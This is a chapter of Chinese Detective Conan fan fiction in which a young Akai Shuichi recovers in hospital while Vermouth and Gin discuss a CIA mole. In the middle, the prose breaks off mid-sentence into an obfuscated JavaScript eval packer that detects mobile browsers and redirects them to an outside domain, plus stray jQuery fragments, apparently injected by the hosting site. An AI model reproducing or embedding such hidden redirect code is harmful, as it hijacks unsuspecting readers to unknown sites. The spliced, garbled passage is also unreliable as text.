7. 起源篇(七)

作品:《逆序赤井,幼弟秀一

    醒来发现自己在医院,而不是某个见不得人的组织基地中时,赤井秀一还是有些惊讶的。


    肋骨处依然疼痛,就连呼吸都能牵动伤处,但拉开衣服后发现已经缠上了绷带,还能摸到镇痛的药膏。


    病历挂在床头,眼睛已经渐渐适应了外界的光线,他看了眼上面的打印字体:肋骨骨裂加上脱水。


    怪不得手上一直扎着点滴呢。


    睡是不可能的,之前因为达到极限陷入昏迷已经是冒险了,但赤井秀一还是合上眼装作闭目养神的样子——组织不可能把他一个人放在这里,在知道看守的底细前,还是看上去乖顺些的好。


    病房门轻轻作响,脚步声接近,熟悉的声音在耳边响起:“醒了就别装了。”


    又是贝尔摩德。


    组织的高层代号成员这么清闲吗?


    赤井秀一睁开眼,一点也不惊讶地发现贝尔摩德又换了一副模样,顶着一张黑发女人的脸,手里捏着女士香烟,只是没有点燃。


    不可能是顾忌他的伤势,更像是她这次的伪装和香烟味不匹配一样。


    “我这算是通过了吗?”嗓子还是火辣辣的疼,三天的缺水不可能一下子就补回来,但他还是强迫自己发出声音,哪怕声带的每一下振动都算得上折磨。


    贝尔摩德很喜欢看少年这副模样,像只奄奄一息还敢想着去咬断人喉咙的小豹子。可惜,和真正的野兽比起来,到底少了股血腥味。


    不过没关系,组织里最不缺的就是狩猎和斗兽,诸星大总有沾满鲜血的一天。她笑着摆摆手:“当然。”


    “你有四天的休养时间,对你的肋骨来说足够了。”


    赤井秀一陷入沉默,他本来以为等自己最迟明天能够走动就会被带走。只是这四天的时间,说明贝尔摩德为他准备的“训练”,是需要他完全状态下投入的。


    想想也并没有好到哪里。


    但他还是点点头,示意自己知道了。


    “你的看守稍后会来,就是这张脸。”贝尔摩德提到这里时声音里有种奇特的情绪,似乎扭曲又厌恶,还夹杂着几分不屑,“那女人只负责不让你饿死在这,还有其他人在。”


    他嘶声回答:“我什么也不会说的。”


    “聪明的家伙,那么,祝你好运。”


    走到门口时,贝尔摩德回过头,笑得格外艳丽,朝床上的少年挥挥手:“希望还能听见你的消息哦。”


    毕竟死人的事,是不会传到她耳中的。


    赤井秀一用闭眼和沉默作为回答。


    黑发女人走出医院,施施然上了停在门口的保时捷365A,前排的银发男人看她一眼,冷冷问道:“怎么用了这女人的模样?”


    “反正她闲着也是闲着,还能让跟她的那群人一起看着。”贝尔摩德随手撕下面具,理好金发后无聊地点燃香烟。


    琴酒嗤笑一声,懒得揭穿她暗藏的恶意和讥讽,只是暗示地威胁:“注意分寸,贝尔摩德。”


    贝尔摩德依旧不以为然轻笑着,如果不是那女人的妹妹还有用,让她现在没理由出手,也不至于只是这样旁敲侧击一下就算了。


    不过,琴酒不会在乎一个没有太多作用的外围成员死活,所以他结束了这个话题,示意伏特加把资料递给后面的女人。


    “啊啦,你的动作还真是快。”贝尔摩德好整以暇地翻阅,目光在有着苏格兰面容的照片上停留,“所以他确定没什么问题?”


    “暂时而已。”琴酒冷漠回答。


    女人调笑道:“说不定是你看什么人都像老鼠呢,琴酒。”


    “早晚会知道的。”琴酒皱起眉头,“还有你带回来的那麻烦家伙,贝尔摩德,你究竟在想什么?”


    虽然在琴酒看来,诸星大的身份是伏特加亲自确认的,至于宾加的怀疑,事后也被证实更多是来自朗姆示意后的挑衅。那些似是而非的痕迹不一定能证明诸星大有问题,这个行为却说明朗姆这些年越发针对琴酒了。


    诸星大是跟着苏格兰被发现,又是贝尔摩德带回来的,贝尔摩德还是因为琴酒才跟去了那次任务。就这么三倒两转,朗姆巴不得诸星大有问题,可以狠狠给琴酒一巴掌。


    琴酒不在乎那小子是死是活,但他讨厌朗姆。


    至于苏格兰——贝尔摩德这点倒是没说错,琴酒看谁都可疑。


    也就不差一个诸星大了。


    银发男人冷笑着,语气凶狠:“那小子最好真的没事。”


    否则他和苏格兰都别想跑。


    “真够凶的。”贝尔摩德慵懒地倚在车门上,“然后呢,你特地来接我不会就因为这个吧?”


    虽然贝尔摩德在男人和朗姆的明争暗斗中,向来表面绝对中立,但谁都知道比起朗姆,她和琴酒更亲密些。这点暧昧情不足以动摇两个组织成员的利益底线,却不妨碍他们在某些时候互通一下。


    就像贝尔摩德之前在把宾加排出去的事上给了琴酒一个人情,现在是时候扯平了。


    男人又递给她一个文件:“两天前,行动组包围了一个疑似CIA联络员的家伙。”


    “从据点里残留的痕迹来看,行动组或者情报组外围有个CIA的卧底。”琴酒冷漠又平静地说道,“但是,在拷问到一半的时候,有人来把人救走了。”


    “救走,”贝尔摩德又起了兴趣,“有人能从你手上抢人吗?”


    这可是组织的Top Killer啊。


    琴酒声音中多了几分不屑和嫌恶:“是宾加带的队。”


    那家伙又疯又狂,和琴酒安排去的行动组成员谁也不服谁,到手的人拷问到一半就被劫走了。琴酒一点也不客气,反手把朗姆几次执意要往行动组插人的事捅到了Boss那里。


    但和贝尔摩德一样,朗姆在Boss处到底是有几分特殊的。不过琴酒不在乎,能气到朗姆,让那家伙短时间内不敢随便插手行动组就好。


    “所以呢,这和我有什么关系?”贝尔摩德看了眼手里的报告,里面说那批将人劫走的家伙是突然出现的,显然早就关注着组织的行动。


    她微微一愣,随后恍然大悟,轻柔地拖长语调:“第三方啊——”


    CIA的联络对象必定是某个组织中的卧底,不管是谁,如果真的有足够的能力把那个联络人从组织手上劫走,不可能对组织的包围毫无察觉。


    只能说明那是不来自CIA的第三方,计划突然,双方根本没有互通消息,才会临时做出这样冒险的措施。但不得不说,很大胆,如果当时带队的人是琴酒,说不定连那几个也得留下。


    不是说贝尔摩德更相信琴酒的能力,只是人是有差距的。


    但问题又来了,那个劫人的第三方是谁?


    “你认为那边来自美国?”贝尔摩德稍作思考,能和自己有关的,只能是她自从朗姆狼狈撤离后渐渐接手的美国分部了。那个卧底又是CIA一方,倒不是没可能。


    “不,来自欧洲。”琴酒同样点了一支烟,狠厉的眼神隐藏在缭绕烟雾中,“不出意外的话,你应该就快去欧洲了。”


    “别总盯着美国,贝尔摩德。”


    金发女人听懂了他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490411|154696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的潜台词:“我明白了,所以琴酒,一次帮忙只换一次提醒吗?”


    “别得寸进尺。”


    “好吧好吧。”贝尔摩德状似无奈地挥挥手,“我会注意组织这些年在欧洲和美国历史的。”


    但说真的,琴酒,你不就是想把我岔开吗?


    贝尔摩德倚在后座,表情隐藏在车厢阴影中。


    琴酒这种人,有了个机会,自然是要借机好好清理一下他负责的行动组。偏偏CIA的卧底,和她负责的美国分部脱不了联系。以贝尔摩德神秘主义的作风,不是每一件事都适合被放到台面上审判的。


    如果真的牵扯到她,朗姆又以此为邀请的话——


    啊啦,自己好像没有什么拒绝的理由呢。


    所以琴酒的意思很明显,Boss注意到欧洲的情况派她去不过是早晚的事,他给贝尔摩德一点提示,也是让贝尔摩德别插手的意思。


    真是够霸道的作风啊,贝尔摩德想。


    既然如此,她也就不提醒琴酒,Boss对自己的汇报很感兴趣,某种程度上也是因为,那个叫诸星大的小子太适合做另一个琴酒了。


    一个虽然还没有染上鲜血和黑暗,却只能暂时依附组织,必须拼命证明自己价值的家伙。


    Boss信任琴酒,却不是不忌惮的。那位大人就是这样,每个人都要扶持一个出来平衡才能放心。


    如果琴酒听她的话去看一眼诸星大,就不会想不到Boss在想什么了呢。


    *


    病房里的赤井秀一有点无聊。


    虽然没痊愈的肋骨和还未恢复的精力让他昏昏欲睡,但失去控制昏迷的经历已经足够了。


    手上的点滴渐渐滴完,他却没等来贝尔摩德口中的看守者,索性自己拔了输液针,把左手藏在被子里试着抓握了几下。


    还是没什么力气,他讨厌这种虚弱无能为力的感觉。


    病房门被轻轻扣响,赤井秀一皱起眉头。


    按照贝尔摩德的说法,他已经是某种意义上的组织成员预备役,又见过那么多代号成员,甚至包括克莉丝·温亚德的真容,女人肯定不会就这样把他随意丢在一个无法控制的医院。


    即使这所医院不是尽在组织把控下,也肯定安排了七七八八的暗线,让人不足以发现他的身份。


    看来这就是他的看守了。


    门外的人没等来他的回应似乎有些担心,慌乱的女声响起:“抱歉……我,先进来了。”


    一个熟悉又陌生的黑发女人推门而入,在看见病房里只是一个十四五岁的少年时愣在原地。


    熟悉是因为那张脸和贝尔摩德假扮的如出一辙,陌生是因为,贝尔摩德不会露出这样脆弱甚至可以称为软弱的表情。


    赤井秀一也趁机看到了她身后紧跟着的几个黑衣男子,一个进到对面,一个守在门口。


    “我,不好意思,我没想到——”女人确定自己没有开错病房门,这所医院也的确是在组织控股下,和一些实验室联系在一起的。


    只是,十四五岁的混血孩子,这个特征对她而言太有指向性,忍不住苦笑一声。


    她们最近……应该什么事都没有做,就连每次见面都安分守己吧?


    虽然不明白为什么会这样,但女人还是能察觉到几分针对的恶意和警告,面上还要强装什么事都没发生的样子。


    “真的不好意思,我没想到路上有些堵车。”赤井秀一看着女人暗中做了一个深呼吸,才控制住情绪走进来,又一次道歉。


    “你好,我叫广田雅美。”